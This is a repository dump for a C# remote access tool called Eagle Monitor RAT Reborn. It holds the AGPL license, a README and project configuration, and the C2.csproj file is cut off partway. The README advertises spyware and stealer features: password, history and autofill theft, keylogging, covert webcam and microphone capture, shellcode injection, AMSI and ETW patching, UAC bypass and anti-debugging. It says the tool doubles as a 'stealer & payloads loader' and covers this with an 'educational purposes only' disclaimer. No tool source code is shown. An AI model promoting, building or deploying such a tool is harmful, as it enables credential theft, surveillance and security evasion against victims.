[
  {
    "path": "LICENSE",
    "content": "                    GNU AFFERO GENERAL PUBLIC LICENSE\n                       Version 3, 19 November 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU Affero General Public License is a free, copyleft license for\nsoftware and other kinds of works, specifically designed to ensure\ncooperation with the community in the case of network server software.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nour General Public Licenses are intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  Developers that use our General Public Licenses protect your rights\nwith two steps: (1) assert copyright on the software, and (2) offer\nyou this License which gives you legal permission to copy, distribute\nand/or modify the software.\n\n  A secondary benefit of defending all users' freedom is that\nimprovements made in alternate versions of the program, if they\nreceive widespread use, become available for other developers to\nincorporate.  Many developers of free software are heartened and\nencouraged by the resulting cooperation.  However, in the case of\nsoftware used on network servers, this result may fail to come about.\nThe GNU General Public License permits making a modified version and\nletting the public access it on a server without ever releasing its\nsource code to the public.\n\n  The GNU Affero General Public License is designed specifically to\nensure that, in such cases, the modified source code becomes available\nto the community.  It requires the operator of a network server to\nprovide the source code of the modified version running there to the\nusers of that server.  Therefore, public use of a modified version, on\na publicly accessible server, gives the public access to the source\ncode of the modified version.\n\n  An older license, called the Affero General Public License and\npublished by Affero, was designed to accomplish similar goals.  This is\na different license, not a version of the Affero GPL, but Affero has\nreleased a new version of the Affero GPL which permits relicensing under\nthis license.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU Affero General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Remote Network Interaction; Use with the GNU General Public License.\n\n  Notwithstanding any other provision of this License, if you modify the\nProgram, your modified version must prominently offer all users\ninteracting with it remotely through a computer network (if your version\nsupports such interaction) an opportunity to receive the Corresponding\nSource of your version by providing access to the Corresponding Source\nfrom a network server at no charge, through some standard or customary\nmeans of facilitating copying of software.  This Corresponding Source\nshall include the Corresponding Source for any work covered by version 3\nof the GNU General Public License that is incorporated pursuant to the\nfollowing paragraph.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the work with which it is combined will remain governed by version\n3 of the GNU General Public License.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU Affero General Public License from time to time.  Such new versions\nwill be similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU Affero General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU Affero General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU Affero General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU Affero General Public License as published\n    by the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If your software can interact with users remotely through a computer\nnetwork, you should also make sure that it provides a way for users to\nget its source.  For example, if your program is a web application, its\ninterface could display a \"Source\" link that leads users to an archive\nof the code.  There are many ways you could offer source, and different\nsolutions will be better for different programs; see section 13 for the\nspecific requirements.\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU AGPL, see\n<https://www.gnu.org/licenses/>.\n"
  },
  {
    "path": "README.md",
    "content": "\n# Eagle Monitor RAT Reborn | Open Source & Modern Remote Access Tool\nFast, lightweight & easily customizable remote access tool written in C# coded from scratch.  \nSupport project ? <br>\nBTC: 1JpBNGLNmYR6MANK7wcY3h1YF2vG92BM4r\n\n\n# [SUCCESSSOR] Beta & WIP : https://github.com/arsium/VoidHexed_Monitor\n\n\n<a href=\"https://www.paypal.com/donate/?hosted_button_id=D83FCLVFMMHAA\"><img src=\"https://raw.githubusercontent.com/andreostrovsky/donate-with-paypal/925c5a9e397363c6f7a477973fdeed485df5fdd9/blue.svg\" height=\"40\"></a>  \n\n## Updates\n\nIf you wanna follow what I'm working on : [Wiki](https://github.com/arsium/EagleMonitorRAT/wiki/Updates)\n\n## What's new ?\n\n* [Last changelog](https://github.com/arsium/EagleMonitorRAT/releases/tag/3.2.3.0)\n\n## Server features\n\n* Passwords recovery\n* History recovery\n* Autofill recovery\n* Keywords recovery\n* Remote Powershell\n* Remore CMD\n* Remote camera viewer (+ save pictures)\n* Remote microphone (auto saved)\n* Remote desktop control (+ save pictures)\n* Remote keyboard\n* Remote mouse\n* Remote chat\n* Remote DotNet Code Execution (VB + C#)\n* Process manager \n* Kill process (native techniques)\n* Suspend process (native techniques)\n* Resume process (native techniques)\n* ShellCode injection (NtWriteVirtualMemory + NtCreateThreadEx)\n* ShellCode injection (NtMapViewOfSection + NtCreateThreadEx)\n* Shutdown system\n* Reboot system\n* Suspend system\n* Hibernate system\n* Log out user\n* BSOD\n* Lock workstation\n* Offline keylogger (automatically saved)\n* Realtime keylogger (automatically saved)\n* Managed pe execution (current process)\n* Unmanaged pe execution (current process)\n* Managed dll execution (current process)\n* Unmanaged dll execution (current process)\n* Shellcode execution (current process)\n* Blur screenlocker\n* Audio up\n* Audio down\n* Hide + show taskbar\n* Hide + show desktop icons\n* Set wallpaper\n* File manager\n* Delete file\n* Download file\n* Rename file\n* Upload file\n* Get information (CPU, hardware, system)\n* Shortcuts (download, desktop and documents paths)\n* Logs (automatically saved)\n\n## Client Features :\n\n* Anti-Debug (will cause BSOD if debugged)\n* AMSI patching\n* ETW patching\n* Randomize PE from PEB\n* Bypass UAC\n\n## External depencencies\n\n* GunaUI \n* dnlib \n* Newtonsoft.Json\n* NAudio\n\n## Notes\n\n* All saved stuff (logs, passwords...) are saved in csv format except offline keylogger\n* All external dlls used are in folder \"DLLs + Package\"\n* This remote access tool can also be used as stealer & payloads loader.\n* Build the project in \"release mode\" only (change x64 bit for Server)\n* Under license (AGPL)\n\n## Technical information\n\n* Communication encrypted with RSM encryption (https://bhf.im/threads/438711/)\n* Packets compressed with QuickLZ (http://www.quicklz.com/download.html)\n* Automation tasks saved with binary format\n* Settings saved with JSON format\n* Server .NET 4.8\n* Client .NET 4.5\n* Tested on freshly installed W10 & W11 VM\n\n## Inspirations\n\n* Webcam plugins : [AsyncRat](https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/RemoteCamera/RemoteCamera/Packet.cs)\n\n* Keylogger (modded) : [AsyncRat](https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/LimeLogger/LimeLogger/Packet.cs)\n\n* Unmanaged pe and dlls : [schellingb](https://github.com/schellingb/DLLFromMemory-net)\n\n* Remote mouse & keyboard : [Quasar](https://github.com/quasar/Quasar/)\n\n* Remote CMD & Powershell : [Quasar](https://github.com/quasar/Quasar/blob/master/Quasar.Client/IO/Shell.cs)\n\n## Missing features (relative to previous versions)\n\n* Mass tasks\n* On connect tasks\n\n## Interface \n\n![PIC1](https://github.com/arsium/EagleMonitorRAT/blob/main/IMG/1.png?raw=true)\n![PIC2](https://github.com/arsium/EagleMonitorRAT/blob/main/IMG/2.png?raw=true)\n![PIC3](https://github.com/arsium/EagleMonitorRAT/blob/main/IMG/3.png?raw=true)\n\nI, the creator and all those associated with the development and production of this program are not responsible for any actions and or damages caused by this software. You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only. This software's intended purpose is NOT to be used maliciously, or on any system that you do not have own or have explicit permission to operate and use this program on. By using this software, you automatically agree to the above.\n"
  },
  {
    "path": "Remote Access Tool/C2/App.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<configuration>\n    <startup> \n        <supportedRuntime version=\"v4.0\" sku=\".NETFramework,Version=v4.5\" />\n    </startup>\n</configuration>"
  },
  {
    "path": "Remote Access Tool/C2/C2.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}</ProjectGuid>\n    <OutputType>Exe</OutputType>\n    <RootNamespace>C2</RootNamespace>\n    <AssemblyName>C2</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugType>pdbonly</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>bin\\Release\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\n  </PropertyGroup>\n  <ItemGroup>\n    <None Include=\"App.config\" 